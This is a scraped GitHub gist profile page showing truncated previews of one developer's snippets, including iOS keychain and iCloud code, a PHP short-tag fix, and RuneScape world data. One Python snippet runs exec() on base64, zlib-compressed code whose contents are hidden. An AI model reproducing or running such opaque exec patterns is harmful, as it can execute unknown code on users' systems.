Skip to content

Instantly share code, notes, and snippets.

View Raztor0's full-sized avatar

Razvan Bangu Raztor0

View GitHub Profile
[{
"domainCode" : "vn",
"domainUrl" : "http://vietnamese.center"
},
{
"domainCode" : "gr",
"domainUrl" : "http://greek.center"
}]
import xml.etree.ElementTree as ET
import xml.dom.minidom as minidom
import sys
import uuid
def main(argv):
xibPath = ''
tree = ''
attemptFixup = False
try:
- (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions {
[[NSNotificationCenter defaultCenter] addObserver:self selector:@selector(ubiquitousKeyValueStoreDidChange:) name:NSUbiquitousKeyValueStoreDidChangeExternallyNotification object:[NSUbiquitousKeyValueStore defaultStore]];
[[NSUbiquitousKeyValueStore defaultStore] synchronize];
return YES;
}
#pragma mark - NSNotifications
grep -r -v '<\?php' . | grep -r -l --include \*.php -E '<\?' . | xargs -i@ sed -i 's/<?/<?php/g' @
#!/usr/bin/python
import zlib, base64
exec(zlib.decompress(base64.b64decode('eJxtj8EKwjAQRO+F/sMakbR4qAhehL0IFvoJBWGJktIcmoY0oTZfb1JEFDzNwJsdZrebyk+2uitdmcX1o86zGpV2edZEMT4a1QGRFoMkQuREg1CaiJ/zDJxdkkCDVsz0zoN8PqRxKzBimr5yHdZFU7CrdtKCAO2HezRuhFqFcPEhwKxcf9OsLFO8Rc6TxgXd7oR4WEug3SNLB+zDjj8sFa3M2PhJ0Zb/Nr0Af1VEqg==')))
{'url': 'oldschool85.runescape.com', 'info': '750 skill total', 'unknown': '0x0189', 'location': '00', 'population': 103}
{'url': 'oldschool93.runescape.com', 'info': 'Clan Wars - Free', 'unknown': '0x018a', 'location': '00', 'population': 533}
{'url': 'oldschool94.runescape.com', 'info': '-', 'unknown': '0x012d', 'location': '00', 'population': 680}
{'url': 'oldschool1.runescape.com', 'info': 'Trade - Free', 'unknown': '0x014f', 'location': '00', 'population': 1009}
{'url': 'oldschool35.runescape.com', 'info': '-', 'unknown': '0x017f', 'location': '07', 'population': 514}
{'url': 'oldschool83.runescape.com', 'info': '-', 'unknown': '0x0180', 'location': '07', 'population': 550}
{'url': 'oldschool84.runescape.com', 'info': '-', 'unknown': '0x017d', 'location': '07', 'population': 550}
{'url': 'oldschool81.runescape.com', 'info': '500 skill total', 'unknown': '0x0146', 'location': '01', 'population': 179}
{'url': 'oldschool26.runescape.com', 'info': 'LMS Casual', 'unknown': '0x013c', 'location': '01', 'populat
@interface SomeClass : NSObject
@property (nonatomic, strong) NSString *someProperty;
@end
@implementation SomeClass
+ (void)load {
[self new];
@interface SomeClass : NSObject
@property (nonatomic, strong) NSDictionary *someDictionary;
@end
@implementation SomeClass
+ (void)load {
[self new];
@Raztor0
Raztor0 / KeychainTest.m
Created February 21, 2017 19:25
iOS10.3 beta2 Keychain Autodelete Workaround
- (BOOL)saveToKeychain {
NSData *passwordData = [@"myPassword" dataUsingEncoding:NSUTF8StringEncoding];
/* Try to save to the keychain */
NSMutableDictionary *dictionary = [NSMutableDictionary dictionaryWithCapacity:3];
[dictionary setObject:(__bridge id)kSecClassGenericPassword forKey:(__bridge id)kSecClass];
[dictionary setObject:@"myService" forKey:(__bridge id)kSecAttrService];
[dictionary setObject:@"myAccount" forKey:(__bridge id)kSecAttrAccount];
/* Use the kSecAttrAccessGroupToken access group constant*/
[dictionary setObject:(__bridge NSString * _Nullable)(kSecAttrAccessGroupToken) forKey:(__bridge id)kSecAttrAccessGroup];
[dictionary setObject:passwordData forKey:(__bridge id)kSecValueData];
#ifdef CONFIG_DEBUG
static inline id _SKNonnullScreenGlobalForKey(id self, SEL _cmd, SKScreenGlobals * aGlobals, NSString * key) {
NSParameterAssert(self != nil);
NSParameterAssert(_cmd != NULL);
NSParameterAssert(aGlobals != nil);
NSParameterAssert(key != nil);
id object = [aGlobals objectForKey:key];
NSAssert(object != nil, @"%@ expects the screen global for key %@ to be set.", NSStringFromClass([self class]), key);